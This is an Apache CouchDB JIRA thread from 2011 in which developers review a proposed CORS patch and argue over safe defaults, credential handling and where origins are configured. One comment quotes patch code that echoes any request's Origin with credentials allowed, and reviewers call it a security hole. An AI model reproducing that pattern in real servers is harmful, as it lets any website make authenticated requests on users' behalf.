          Guys, can we tone it down a bit please?

          Show
          Noah Slater added a comment - Guys, can we tone it down a bit please?
          Hide
          Robert Newson added a comment -

          This need not get heated (though I don't read Jason's prose are inflammatory, I think he's just trying to make his view that there are serious security problems in the current patch in as direct a manner possible).

          If this is intended for 1.2, as this ticket claims and Jan confirms, then it's important to verify and remedy any security problems this patch can introduce soon. I suggested 1.3 in order to give us more time to evaluate. (in addition to feeling that 1.2 has enough new goodies in it). I don't think anyone is arguing against supporting CORS, clearly there's value in it.

          To Jason, Benoit is adding black- and white-listing, does this fully address your concerns or not?

          Show
          Robert Newson added a comment - This need not get heated (though I don't read Jason's prose are inflammatory, I think he's just trying to make his view that there are serious security problems in the current patch in as direct a manner possible). If this is intended for 1.2, as this ticket claims and Jan confirms, then it's important to verify and remedy any security problems this patch can introduce soon. I suggested 1.3 in order to give us more time to evaluate. (in addition to feeling that 1.2 has enough new goodies in it). I don't think anyone is arguing against supporting CORS, clearly there's value in it. To Jason, Benoit is adding black- and white-listing, does this fully address your concerns or not?
          Hide
          Noah Slater added a comment -

          For the record, my remark was addressed to everyone involved. I know people are feeling frustrated, but let's stay objective and focus on technical criticism without making things personal, falling back on logical fallacies, or resorting to hyperbole.

          Show
          Noah Slater added a comment - For the record, my remark was addressed to everyone involved. I know people are feeling frustrated, but let's stay objective and focus on technical criticism without making things personal, falling back on logical fallacies, or resorting to hyperbole.
          Hide
          Robert Newson added a comment -

          Agreed, though I don't see any of those items in the thread so far. However, I'll drop it.

          I'm reading this part of the latest patch;

          +set_default_headers(MochiReq) ->
          + case MochiReq:get_header_value("Origin") of
          + undefined ->
          + erlang:put(cors_headers, []);
          + Origin ->
          + DefaultHeaders = [

          {"Access-Control-Allow-Origin", Origin}

          ,
          +

          {"Access-Control-Allow-Credentials", "true"}

          ],
          + erlang:put(cors_headers, DefaultHeaders)
          + end.
          +

          This does appear to grant access control to any sites that the request asks it to (just include Origin: foo), that can't be right, can it? My meager understanding of CORS is that the server should make this determination.

          I'm really struggling with JIRA right now, it's constantly removing focus when I hit return or use the shift key. Perhaps there's JS on the page that doesn't work with Chrome 14 but it's making everything really painful. I'm going to refrain from further comments until I've thoroughly read the CORS draft, and others should chip in too. I particularly would like Benoit to correct my understanding of the above function.

          Show
          Robert Newson added a comment - Agreed, though I don't see any of those items in the thread so far. However, I'll drop it. I'm reading this part of the latest patch; +set_default_headers(MochiReq) -> + case MochiReq:get_header_value("Origin") of + undefined -> + erlang:put(cors_headers, []); + Origin -> + DefaultHeaders = [ {"Access-Control-Allow-Origin", Origin} , + {"Access-Control-Allow-Credentials", "true"} ], + erlang:put(cors_headers, DefaultHeaders) + end. + This does appear to grant access control to any sites that the request asks it to (just include Origin: foo), that can't be right, can it? My meager understanding of CORS is that the server should make this determination. I'm really struggling with JIRA right now, it's constantly removing focus when I hit return or use the shift key. Perhaps there's JS on the page that doesn't work with Chrome 14 but it's making everything really painful. I'm going to refrain from further comments until I've thoroughly read the CORS draft, and others should chip in too. I particularly would like Benoit to correct my understanding of the above function.
          Hide
          Benoit Chesneau added a comment -

          mmm @jason don give me words I didn't say. Please reread the patch and what my comment means. I never meant security shouldn't be take in consideration.

          anyway can we calm down a little.I will provide another itteration on monday. Then we could fdiscuss about it.

          Show
          Benoit Chesneau added a comment - mmm @jason don give me words I didn't say. Please reread the patch and what my comment means. I never meant security shouldn't be take in consideration. anyway can we calm down a little.I will provide another itteration on monday. Then we could fdiscuss about it.
          Hide
          Benoit Chesneau added a comment -

          bah i already said a few times this will be take in consideration :/
          @rnewson most of services are doing ghat but i will propose an option to not
          do that .

          not to @rnewson : i would appreciate that rather than putting comments based
          on philosophy or business we talk about code and lines to fix or eventually
          change. thanks.

          On Saturday, September 17, 2011, Robert Newson (JIRA) <jira@apache.org>
          https://issues.apache.org/jira/browse/COUCHDB-431?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=13107222#comment-13107222]
          However, I'll drop it.
          asks it to (just include Origin: foo), that can't be right, can it? My
          meager understanding of CORS is that the server should make this
          determination.
          focus when I hit return or use the shift key. Perhaps there's JS on the page
          that doesn't work with Chrome 14 but it's making everything really painful.
          I'm going to refrain from further comments until I've thoroughly read the
          CORS draft, and others should chip in too. I particularly would like Benoit
          to correct my understanding of the above function.
          Control spec
          -----------------------------------------------------------------------------------
          0001-cors-support.should-fixCOUCHDB-431.patch,
          0001-cors-support.should-fixCOUCHDB-431.patch,
          0001-cors-support.should-fixCOUCHDB-431.patch,
          0001-cors-support.should-fixCOUCHDB-431.patch,
          A_0001-Generalize-computing-the-appropriate-headers-for-any.patch,
          A_0002-Send-server-headers-for-externals-responses.patch,
          A_0003-Usably-correct-w3c-CORS-headers-for-valid-requests.patch,
          A_0004-Respond-to-CORS-preflight-checks-HTTP-OPTIONS.patch, cors.html,
          cors_test.html, test_cors2-1.tgz, test_cors2.tgz
          (XHRs) to the same origin (domain) as the web page making the request.
          However, the latest browsers now support cross-domain requests by
          implementing the Access Control spec from the W3C:
          same-domain requests, the Access Control spec requires the server to opt-in
          to allow cross domain requests by the use of special HTTP headers and
          supporting some "pre-flight" HTTP calls.
          common to serve the static UI files from a separate, differently scaled
          server complex than the data access/API server layer. Also, there are some
          API services that are meant to be centrally hosted, but allow API consumers
          to use the API from different domains. In these cases, the UI in the browser
          would need to do cross domain requests to access CouchDB servers that act as
          the API/data access server layer.
          so no POSTing or PUTing of documents.
          of Firefox 3.5):
          Safari 4):
          http://developer.apple.com/safari/library/documentation/AppleApplications/Conceptual/SafariJSProgTopics/Articles/XHR.html
          through their XDomainRequest object (XDR):
          headers should be enough, and hopefully IE 9 will allow normal xdomain
          requests via XHR.

          Show
          Benoit Chesneau added a comment - bah i already said a few times this will be take in consideration :/ @rnewson most of services are doing ghat but i will propose an option to not do that . not to @rnewson : i would appreciate that rather than putting comments based on philosophy or business we talk about code and lines to fix or eventually change. thanks. On Saturday, September 17, 2011, Robert Newson (JIRA) <jira@apache.org> https://issues.apache.org/jira/browse/COUCHDB-431?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=13107222#comment-13107222 ] However, I'll drop it. asks it to (just include Origin: foo), that can't be right, can it? My meager understanding of CORS is that the server should make this determination. focus when I hit return or use the shift key. Perhaps there's JS on the page that doesn't work with Chrome 14 but it's making everything really painful. I'm going to refrain from further comments until I've thoroughly read the CORS draft, and others should chip in too. I particularly would like Benoit to correct my understanding of the above function. Control spec ----------------------------------------------------------------------------------- 0001-cors-support. should-fix COUCHDB-431 .patch, 0001-cors-support. should-fix COUCHDB-431 .patch, 0001-cors-support. should-fix COUCHDB-431 .patch, 0001-cors-support. should-fix COUCHDB-431 .patch, A_0001-Generalize-computing-the-appropriate-headers-for-any.patch, A_0002-Send-server-headers-for-externals-responses.patch, A_0003-Usably-correct-w3c-CORS-headers-for-valid-requests.patch, A_0004-Respond-to-CORS-preflight-checks-HTTP-OPTIONS.patch, cors.html, cors_test.html, test_cors2-1.tgz, test_cors2.tgz (XHRs) to the same origin (domain) as the web page making the request. However, the latest browsers now support cross-domain requests by implementing the Access Control spec from the W3C: same-domain requests, the Access Control spec requires the server to opt-in to allow cross domain requests by the use of special HTTP headers and supporting some "pre-flight" HTTP calls. common to serve the static UI files from a separate, differently scaled server complex than the data access/API server layer. Also, there are some API services that are meant to be centrally hosted, but allow API consumers to use the API from different domains. In these cases, the UI in the browser would need to do cross domain requests to access CouchDB servers that act as the API/data access server layer. so no POSTing or PUTing of documents. of Firefox 3.5): Safari 4): http://developer.apple.com/safari/library/documentation/AppleApplications/Conceptual/SafariJSProgTopics/Articles/XHR.html through their XDomainRequest object (XDR): headers should be enough, and hopefully IE 9 will allow normal xdomain requests via XHR.
          Hide
          Robert Newson added a comment -

          "not to @rnewson : i would appreciate that rather than putting comments based
          on philosophy or business we talk about code and lines to fix or eventually
          change. thanks."

          I'm unsure as to what you are referring to here, could you quote the words of mine you are referring to? My last comment asked a specific question about a quoted part of your patch, I thought it was quite polite. I'm baffled by the determination to find hostility in comments that appear to contain none. I certainly intend none, I just want to understand the security implications of this change before it is included in an official release.

          Show
          Robert Newson added a comment - "not to @rnewson : i would appreciate that rather than putting comments based on philosophy or business we talk about code and lines to fix or eventually change. thanks." I'm unsure as to what you are referring to here, could you quote the words of mine you are referring to? My last comment asked a specific question about a quoted part of your patch, I thought it was quite polite. I'm baffled by the determination to find hostility in comments that appear to contain none. I certainly intend none, I just want to understand the security implications of this change before it is included in an official release.
          Hide
          Benoit Chesneau added a comment -

          oh sorry you take it fir you. wasn't rhe case. on the contrary i was saying
          ithdt this was'bt a response to you. everything is fine and your quote is
          right. fixing it.

          On Saturday, September 17, 2011, Robert Newson (JIRA) <jira@apache.org>
          https://issues.apache.org/jira/browse/COUCHDB-431?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=13107254#comment-13107254]
          based
          eventually
          of mine you are referring to? My last comment asked a specific question
          about a quoted part of your patch, I thought it was quite polite. I'm
          baffled by the determination to find hostility in comments that appear to
          contain none. I certainly intend none, I just want to understand the
          security implications of this change before it is included in an official
          release.
          Control spec
          -----------------------------------------------------------------------------------
          0001-cors-support.should-fixCOUCHDB-431.patch,
          0001-cors-support.should-fixCOUCHDB-431.patch,
          0001-cors-support.should-fixCOUCHDB-431.patch,
          0001-cors-support.should-fixCOUCHDB-431.patch,
          A_0001-Generalize-computing-the-appropriate-headers-for-any.patch,
          A_0002-Send-server-headers-for-externals-responses.patch,
          A_0003-Usably-correct-w3c-CORS-headers-for-valid-requests.patch,
          A_0004-Respond-to-CORS-preflight-checks-HTTP-OPTIONS.patch, cors.html,
          cors_test.html, test_cors2-1.tgz, test_cors2.tgz
          (XHRs) to the same origin (domain) as the web page making the request.
          However, the latest browsers now support cross-domain requests by
          implementing the Access Control spec from the W3C:
          same-domain requests, the Access Control spec requires the server to opt-in
          to allow cross domain requests by the use of special HTTP headers and
          supporting some "pre-flight" HTTP calls.
          common to serve the static UI files from a separate, differently scaled
          server complex than the data access/API server layer. Also, there are some
          API services that are meant to be centrally hosted, but allow API consumers
          to use the API from different domains. In these cases, the UI in the browser
          would need to do cross domain requests to access CouchDB servers that act as
          the API/data access server layer.
          so no POSTing or PUTing of documents.
          of Firefox 3.5):
          Safari 4):
          http://developer.apple.com/safari/library/documentation/AppleApplications/Conceptual/SafariJSProgTopics/Articles/XHR.html
          through their XDomainRequest object (XDR):
          headers should be enough, and hopefully IE 9 will allow normal xdomain
          requests via XHR.

          Show
          Benoit Chesneau added a comment - oh sorry you take it fir you. wasn't rhe case. on the contrary i was saying ithdt this was'bt a response to you. everything is fine and your quote is right. fixing it. On Saturday, September 17, 2011, Robert Newson (JIRA) <jira@apache.org> https://issues.apache.org/jira/browse/COUCHDB-431?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=13107254#comment-13107254 ] based eventually of mine you are referring to? My last comment asked a specific question about a quoted part of your patch, I thought it was quite polite. I'm baffled by the determination to find hostility in comments that appear to contain none. I certainly intend none, I just want to understand the security implications of this change before it is included in an official release. Control spec ----------------------------------------------------------------------------------- 0001-cors-support. should-fix COUCHDB-431 .patch, 0001-cors-support. should-fix COUCHDB-431 .patch, 0001-cors-support. should-fix COUCHDB-431 .patch, 0001-cors-support. should-fix COUCHDB-431 .patch, A_0001-Generalize-computing-the-appropriate-headers-for-any.patch, A_0002-Send-server-headers-for-externals-responses.patch, A_0003-Usably-correct-w3c-CORS-headers-for-valid-requests.patch, A_0004-Respond-to-CORS-preflight-checks-HTTP-OPTIONS.patch, cors.html, cors_test.html, test_cors2-1.tgz, test_cors2.tgz (XHRs) to the same origin (domain) as the web page making the request. However, the latest browsers now support cross-domain requests by implementing the Access Control spec from the W3C: same-domain requests, the Access Control spec requires the server to opt-in to allow cross domain requests by the use of special HTTP headers and supporting some "pre-flight" HTTP calls. common to serve the static UI files from a separate, differently scaled server complex than the data access/API server layer. Also, there are some API services that are meant to be centrally hosted, but allow API consumers to use the API from different domains. In these cases, the UI in the browser would need to do cross domain requests to access CouchDB servers that act as the API/data access server layer. so no POSTing or PUTing of documents. of Firefox 3.5): Safari 4): http://developer.apple.com/safari/library/documentation/AppleApplications/Conceptual/SafariJSProgTopics/Articles/XHR.html through their XDomainRequest object (XDR): headers should be enough, and hopefully IE 9 will allow normal xdomain requests via XHR.
          Hide
          Randall Leeds added a comment -

          I propose the following concrete actions:

          1) Make default Access-Control-Allow-Credentials: false, which only allows unauthenticated requests. This would allow the cross-origin browser client to do no more than any other client on the web. This seems safe AND useful. I'd even be fine with CORS enabled by default if this is the case.

          2) Punt on everything but the db-level _security object. No CORS for resources like /_session, etc. As an example of why it seems like you need /_session but you don't, remember that a couchapp could expose a well known URL for a login page popup, which is very much like browserid, facebook connect, etc.

          3) Have a separate, default-off toggle for enabling the _admin role on authenticated requests. In other words, if the request is a CORS request AND Access-Control-Allow-Credentials is on for the origin, couch should by default strip the _admin role (if the cookie'd user has it).

          4) Does it make sense to configure Access-Control-Allow-Credentials information on the user document? In other words, some couch trusts a set of origins for a particular set of dbs (apps), but users still need to allow it as well. This behavior mirrors things like OAuth: api key : origin enabled :: auth flow : allowing credential use

          I think this gets us 80% of the use cases and feels pretty safe.
          Concrete suggestions/recommendations/criticisms? If you want me to implement any of this let me know. I'd be happy to do it. I'd rather see features stripped out of this and have a minimal viable CORS in 1.2 than to leave it out completely because it's, uh... next level beats for couchapps. :-D.

          Show
          Randall Leeds added a comment - I propose the following concrete actions: 1) Make default Access-Control-Allow-Credentials: false, which only allows unauthenticated requests. This would allow the cross-origin browser client to do no more than any other client on the web. This seems safe AND useful. I'd even be fine with CORS enabled by default if this is the case. 2) Punt on everything but the db-level _security object. No CORS for resources like /_session, etc. As an example of why it seems like you need /_session but you don't, remember that a couchapp could expose a well known URL for a login page popup, which is very much like browserid, facebook connect, etc. 3) Have a separate, default-off toggle for enabling the _admin role on authenticated requests. In other words, if the request is a CORS request AND Access-Control-Allow-Credentials is on for the origin, couch should by default strip the _admin role (if the cookie'd user has it). 4) Does it make sense to configure Access-Control-Allow-Credentials information on the user document? In other words, some couch trusts a set of origins for a particular set of dbs (apps), but users still need to allow it as well. This behavior mirrors things like OAuth: api key : origin enabled :: auth flow : allowing credential use I think this gets us 80% of the use cases and feels pretty safe. Concrete suggestions/recommendations/criticisms? If you want me to implement any of this let me know. I'd be happy to do it. I'd rather see features stripped out of this and have a minimal viable CORS in 1.2 than to leave it out completely because it's, uh... next level beats for couchapps. :-D.
          Hide
          Randall Leeds added a comment -

          If my points (3) and (4) make sense they should be rolled together, with users deciding which of the origins the host shares with should be allowed to use their credentials, and which should be allowed to use their admin credentials.

          Maybe it makes sense for the user doc to have a mapping of origins to roles. If this mapping is non-empty then A-C-A-C: true and requests get the intersection of the users roles and the origin roles. In this way, I can have many roles on a server but only share some of them with certain origins. Of course, the db-level configuration is still required to enable the origin to access anything at all, but I'd submit that with the credentials defaulted off that the default allowed origins should be / when CORS is enabled, though I'm willing to go either way on this.

          Show
          Randall Leeds added a comment - If my points (3) and (4) make sense they should be rolled together, with users deciding which of the origins the host shares with should be allowed to use their credentials, and which should be allowed to use their admin credentials. Maybe it makes sense for the user doc to have a mapping of origins to roles. If this mapping is non-empty then A-C-A-C: true and requests get the intersection of the users roles and the origin roles. In this way, I can have many roles on a server but only share some of them with certain origins. Of course, the db-level configuration is still required to enable the origin to access anything at all, but I'd submit that with the credentials defaulted off that the default allowed origins should be / when CORS is enabled, though I'm willing to go either way on this.
          Hide
          James Burke added a comment -

          I apologize, but I cannot follow the full thread. I just want to put in my suggestion for the behavior of this feature:

          • Default server setup: no CORS enabled, no cross origin requests allowed.
          • Developer should have to opt in to enable any type of CORS, and should need to explicitly set an origin or set of origins. It should not default to "", but the developer should have the option to enter "" manually.

          This is the safest default setup, and is in line with current server expectations, that by default browsers cannot make cross origin calls to servers to receive data.

          Again, I apologize if my comments are already part of the implementation plan. I opened this ticket, and even though I like CORS, I want to make sure couch users do not get any cross origin surprises/unintended CSRF requests in the default configuration.

          Show
          James Burke added a comment - I apologize, but I cannot follow the full thread. I just want to put in my suggestion for the behavior of this feature: Default server setup: no CORS enabled, no cross origin requests allowed. Developer should have to opt in to enable any type of CORS, and should need to explicitly set an origin or set of origins. It should not default to " ", but the developer should have the option to enter " " manually. This is the safest default setup, and is in line with current server expectations, that by default browsers cannot make cross origin calls to servers to receive data. Again, I apologize if my comments are already part of the implementation plan. I opened this ticket, and even though I like CORS, I want to make sure couch users do not get any cross origin surprises/unintended CSRF requests in the default configuration.
          Hide
          Benoit Chesneau added a comment -

          @tilgovi thnks to summarize this

          1) + 1, I would still propose an option to completely disable it if some want though
          2) It could be done like in the vhost module when you expose global module you want to be available in the vhost maybe?
          3) +1
          4) That's not how CORS is intended to work. But thinking of it maybe we could have an option in the rewriter to disable/enable cors on a "from" path ?

          I can do such patch and have it mostly done (modulo the global thing).

          Show
          Benoit Chesneau added a comment - @tilgovi thnks to summarize this 1) + 1, I would still propose an option to completely disable it if some want though 2) It could be done like in the vhost module when you expose global module you want to be available in the vhost maybe? 3) +1 4) That's not how CORS is intended to work. But thinking of it maybe we could have an option in the rewriter to disable/enable cors on a "from" path ? I can do such patch and have it mostly done (modulo the global thing).
          Hide
          Jason Smith added a comment -

          Hi, Benoit.

          WRT #4: Randall explained his idea in IRC. The idea happens if and only if couch is handling a cross-origin query with credentials.

          1. Browser provides credentials in the HTTP query, e.g. #httpd{}=Req
          2. During authentication, Couch fetches the _user doc
          2. In the _user doc, check for "_cors_auth":true or maybe "_never_cors":true – it could be opt-in or opt-out
          3. If _never_cors == true, then Req2 = Req#httpd{user_ctx = #user_ctx{name=null, roles=[]}}
          4. Process Req2

          Thoughts:

          1. This is not non-standard but perhaps non-expected. w3c has no opinion about whether Couch should honor good X-O creds
          2. One problem: developers set _never_cors=true and then assume their users are safe over open WiFi. In fact valid credentials are sent over the wire.

          So the question is, what is the net change to the security? My feeling is, the risk of TCP sniffing at a cafe is small, whereas the risk of XSRF attacks is greater. Also, to what degree is it nonstandard?

          Show
          Jason Smith added a comment - Hi, Benoit. WRT #4: Randall explained his idea in IRC. The idea happens if and only if couch is handling a cross-origin query with credentials. 1. Browser provides credentials in the HTTP query, e.g. #httpd{}=Req 2. During authentication, Couch fetches the _user doc 2. In the _user doc, check for "_cors_auth":true or maybe "_never_cors":true – it could be opt-in or opt-out 3. If _never_cors == true, then Req2 = Req#httpd{user_ctx = #user_ctx{name=null, roles=[]}} 4. Process Req2 Thoughts: 1. This is not non-standard but perhaps non-expected. w3c has no opinion about whether Couch should honor good X-O creds 2. One problem: developers set _never_cors=true and then assume their users are safe over open WiFi. In fact valid credentials are sent over the wire. So the question is, what is the net change to the security? My feeling is, the risk of TCP sniffing at a cafe is small, whereas the risk of XSRF attacks is greater. Also, to what degree is it nonstandard?
          Hide
          Randall Leeds added a comment -

          I wanted to bump this discussion again so we can get this patch landed. I created the COUCHDB-431 branch on the project git repo and broke the tests out. The tests are committed now, which hopefully gives us a good target and stable base for applying alternative implementing patches.

          Jason and Benoit: If there is consensus on an implementation, please tell me and I will commit it there. If not, please say so and I'll go back and review this again since they're not fresh in my mind.

          Show
          Randall Leeds added a comment - I wanted to bump this discussion again so we can get this patch landed. I created the COUCHDB-431 branch on the project git repo and broke the tests out. The tests are committed now, which hopefully gives us a good target and stable base for applying alternative implementing patches. Jason and Benoit: If there is consensus on an implementation, please tell me and I will commit it there. If not, please say so and I'll go back and review this again since they're not fresh in my mind.
          Hide
          Jason Smith added a comment -

          The patch remains a significant security vulnerability and not useful to web developers.

          Show
          Jason Smith added a comment - The patch remains a significant security vulnerability and not useful to web developers.
          Show
          Jason Smith added a comment - Rebased my patch set to Randall's new branch: https://github.com/jhs/couchdb/compare/COUCHDB-431...COUCHDB-431_jhs Branch is https://github.com/jhs/couchdb/tree/COUCHDB-431_jhs
          Hide
          Benoit Chesneau added a comment - - edited

          @tilgovi thanks to bump the again. I started long time ago to change patches based on the actions we defined [1] but I've been distracted. To be honest btw i would prefer to technically follow the way introduced by my patch. It touch less places in the code and is more isolated btw.

          @jason I disagree. The patch was following the one spec, so it's hard to say it's useless for web devs. If the spec allows credential passing that's for a reason ... I need to pass credentials for ex.

          Anyway I would prefer we first start to settle on a list of features we want based on the spec.The things we want to disable optionnaly and gradually etc. I thought we had a consensus but apparently not. What is needed to be changed against [1]?

          About some security issues: Cookies should be based on an auth domain . I'm still waiting for a proper test but if we have an issue let's fix it.

          [1] https://issues.apache.org/jira/browse/COUCHDB-431?focusedCommentId=13107316&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-13107316

          Show
          Benoit Chesneau added a comment - - edited @tilgovi thanks to bump the again. I started long time ago to change patches based on the actions we defined [1] but I've been distracted. To be honest btw i would prefer to technically follow the way introduced by my patch. It touch less places in the code and is more isolated btw. @jason I disagree. The patch was following the one spec, so it's hard to say it's useless for web devs. If the spec allows credential passing that's for a reason ... I need to pass credentials for ex. Anyway I would prefer we first start to settle on a list of features we want based on the spec.The things we want to disable optionnaly and gradually etc. I thought we had a consensus but apparently not. What is needed to be changed against [1] ? About some security issues: Cookies should be based on an auth domain . I'm still waiting for a proper test but if we have an issue let's fix it. [1] https://issues.apache.org/jira/browse/COUCHDB-431?focusedCommentId=13107316&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-13107316
          Hide
          Randall Leeds added a comment -

          After talking more about this today, it seems Benoit have sorted this out a bit more.

          • We MUST not allow the preflight request cache to accidentally circumvent CORS settings for any path
          • We SHOULD should both vhost-based configuration and db-level configuration

          It's important to support both configurations. I reason that some dbs may want to allow any combination of read-only/read-write (don't forget to filter X-Request-Method!), anonymous/authenticated, and any set of headers; sometimes CouchDB is deployed without vhosts; server administrators MAY want to force CORS settings for a vhost despite any db settings. I don't see a clean way to fully support the options in the spec from a vhost/config-only approach. The security object is more flexible and unifies access control in one place.

          After some consideration, I hope I have correctly determined that Jason's main fear with configuration via the _security object is that the invariant I listed first could be violated by a server which specifies, via _security objects on two or more databases, different access controls for two paths on the same origin. I would like to suggest that forcing the "Access-Control-Max-Age" header to "0" is sufficient to ensure good behaviour with _security objects specifying access control. Therefore, I'm working on a merge with unifies both patches and delegates to the db when nothing is set on the config level with these considerations in mind.

          Finally, I think I want to do another couple of things as well before this is merged:

          • For db-level configuration, it should be possible to customise Credentials, Method, and Headers.
          • Default should be to deny all origins, both on the preflight and the final request. This applies to vhost-level configs, too.

          How does this sit with both of you? Give me your thoughts and I'll try to finish synthesising a merge when I wake up.

          Show
          Randall Leeds added a comment - After talking more about this today, it seems Benoit have sorted this out a bit more. We MUST not allow the preflight request cache to accidentally circumvent CORS settings for any path We SHOULD should both vhost-based configuration and db-level configuration It's important to support both configurations. I reason that some dbs may want to allow any combination of read-only/read-write (don't forget to filter X-Request-Method!), anonymous/authenticated, and any set of headers; sometimes CouchDB is deployed without vhosts; server administrators MAY want to force CORS settings for a vhost despite any db settings. I don't see a clean way to fully support the options in the spec from a vhost/config-only approach. The security object is more flexible and unifies access control in one place. After some consideration, I hope I have correctly determined that Jason's main fear with configuration via the _security object is that the invariant I listed first could be violated by a server which specifies, via _security objects on two or more databases, different access controls for two paths on the same origin. I would like to suggest that forcing the "Access-Control-Max-Age" header to "0" is sufficient to ensure good behaviour with _security objects specifying access control. Therefore, I'm working on a merge with unifies both patches and delegates to the db when nothing is set on the config level with these considerations in mind. Finally, I think I want to do another couple of things as well before this is merged: For db-level configuration, it should be possible to customise Credentials, Method, and Headers. Default should be to deny all origins, both on the preflight and the final request. This applies to vhost-level configs, too. How does this sit with both of you? Give me your thoughts and I'll try to finish synthesising a merge when I wake up.
          Hide
          Benoit Chesneau added a comment -

          @randall what do you mean by vhost. I think it would be more accurate to speak about an host configuration, ie anything in Host header.

          Trying to summarize in term of feature, so what we want is :

          • Origins can be set per hosts or all hosts globally in config and per dbs in security object (like admins)
          • An admin could force config to be only global (set in config)
          • Origin is first tested with the list in config then in db (note that * will overrule )

          About method filtering, I'm not so fan about that. For the reason that depending on the resource (_all_docs, _view, ..) POST may be perfectly legit so forbidding it by just accepting GET in an attempt to have read only db is awkward and shouldn't be supported imo. We could introduce that in another path ticket. Let's try the easy schema for now.

          About cache. I think it's OK to support it, however I think we shouldn't insist much on this . Origins are about host. Then having different possibility per dbs or path isn't really supported by the spec. More I think an app should be limited to an app and we really shouldn't encourage the switch to insecure_db_rewrite. This to keep the security schema pretty simple. Rather we should maybe introduce the notion of global apps or something like but this isn't the subject of this issue. Also for remote apps based on CORS it shouldn't be an issue if hosts are set globally.

          Other than that i'm ok. Let me know when you need review or more.

          Show
          Benoit Chesneau added a comment - @randall what do you mean by vhost. I think it would be more accurate to speak about an host configuration, ie anything in Host header. Trying to summarize in term of feature, so what we want is : Origins can be set per hosts or all hosts globally in config and per dbs in security object (like admins) An admin could force config to be only global (set in config) Origin is first tested with the list in config then in db (note that * will overrule ) About method filtering, I'm not so fan about that. For the reason that depending on the resource (_all_docs, _view, ..) POST may be perfectly legit so forbidding it by just accepting GET in an attempt to have read only db is awkward and shouldn't be supported imo. We could introduce that in another path ticket. Let's try the easy schema for now. About cache. I think it's OK to support it, however I think we shouldn't insist much on this . Origins are about host. Then having different possibility per dbs or path isn't really supported by the spec. More I think an app should be limited to an app and we really shouldn't encourage the switch to insecure_db_rewrite. This to keep the security schema pretty simple. Rather we should maybe introduce the notion of global apps or something like but this isn't the subject of this issue. Also for remote apps based on CORS it shouldn't be an issue if hosts are set globally. Other than that i'm ok. Let me know when you need review or more.
          Hide
          Randall Leeds added a comment -

          @benoitc since the CouchDB is a single server, every host configured is a virtual host, or vhost. Sorry if that was confusing.

          My issue with _security level config is that we cannot guarantee, in general, that all resources on a single host will have the same cors headers. This is broken as per the spec ("only cross-origin security is provided and that therefore using a distinct origin rather than distinct path is vital for secure client-side Web applications."). I find the spec confusing, because I'm not sure what the implication is for client-side Web-application authors. It seems to me like this applies more to servers than clients.

          What I said about the cache didn't make sense, especially since simple requests can bypass the cache. Supporting a configurable max-age is extra and does not affect critical behaviours.

          I don't think secure_rewrites make any difference. If we could limit _security cors settings to only apply when a host rule maps to a path under a database "A" we can ensure all paths under that host are subjected to the cors headers from the _security object of "A" even if some path (even "/") points to an insecure rewrite by applying the rules from the _security object of "A" no matter what db the rewritten path points to. I would feel good about this solution.

          I'm starting to think that something like
          [cors]
          hostA = [

          {originX, none}

          ,

          {originY, basic}

          ]
          hostB = [

          {originZ, including_admin}

          ]

          might be a reasonable approach.

          If there is also a vhost like
          [vhosts]
          hostA = /dbA

          then originX cannot make a CORS request to hostA even if dbA has a security object which allows it. However, originY is subject to whatever rules are in the security object of dbA with admin disabled.

          On security and credentials:
          I believe it is the responsibility of the CouchDB administrator to enable cors with credentials only for TLS-only hosts or the Web user to access a foreign Web application over a secure soceket (https->http CORS is disallowed by the spec) to ensure that cookies are not sent to CouchDB in the clear.

          Any closer?

          Show
          Randall Leeds added a comment - @benoitc since the CouchDB is a single server, every host configured is a virtual host, or vhost. Sorry if that was confusing. My issue with _security level config is that we cannot guarantee, in general, that all resources on a single host will have the same cors headers. This is broken as per the spec ("only cross-origin security is provided and that therefore using a distinct origin rather than distinct path is vital for secure client-side Web applications."). I find the spec confusing, because I'm not sure what the implication is for client-side Web-application authors. It seems to me like this applies more to servers than clients. What I said about the cache didn't make sense, especially since simple requests can bypass the cache. Supporting a configurable max-age is extra and does not affect critical behaviours. I don't think secure_rewrites make any difference. If we could limit _security cors settings to only apply when a host rule maps to a path under a database "A" we can ensure all paths under that host are subjected to the cors headers from the _security object of "A" even if some path (even "/") points to an insecure rewrite by applying the rules from the _security object of "A" no matter what db the rewritten path points to. I would feel good about this solution. I'm starting to think that something like [cors] hostA = [ {originX, none} , {originY, basic} ] hostB = [ {originZ, including_admin} ] might be a reasonable approach. If there is also a vhost like [vhosts] hostA = /dbA then originX cannot make a CORS request to hostA even if dbA has a security object which allows it. However, originY is subject to whatever rules are in the security object of dbA with admin disabled. On security and credentials: I believe it is the responsibility of the CouchDB administrator to enable cors with credentials only for TLS-only hosts or the Web user to access a foreign Web application over a secure soceket (https->http CORS is disallowed by the spec) to ensure that cookies are not sent to CouchDB in the clear. Any closer?
          Hide
          Jason Smith added a comment -

          @randall

          "Sometimes CouchDB is deployed without vhosts."

          May we call it "host-based" configuration, not "vhost-based" configuration? It is not virtual, and unrelated to the CouchDB vhost feature. With this terminology, do you see an error in your second paragraph? "Sometimes CouchDB is deployed without vhosts." Sure, but it is always deployed as a host, even if that is "http://127.0.0.1:5984."

          "The security object is more flexible and unifies access control in one place."

          It is more flexible but I disagree that it unifies control in one place. Real-world couch apps are split across multiple databases, and also require special paths like /_session and /_utils. Are you concerned we are outsourcing the hard work to the app developers?

          1. They must synchronize _security across all their databases.
          2. They must synchronize with /_users/_security too but they may not be an admin
          3. They must synchronize with a global security to handle /_uuids, /_session.

          I went 100% host-based to achieve a simple first milestone. Maybe we could do _security configs later. If you disagree, that's fine though.

          Quick question question. Imagine _rewrite/root points back to the root path (i.e. you get

          {"couchdb":"Welcome", "version":"..."}

          ). For:

          /db_A/_design/foo/_rewrite/root/db_B/_design/foo/_rewrite/root/db_C/_design/foo/_rewrite/root/db_D

          What would be the final CORS policy to apply? The union? The intersection?

          Show
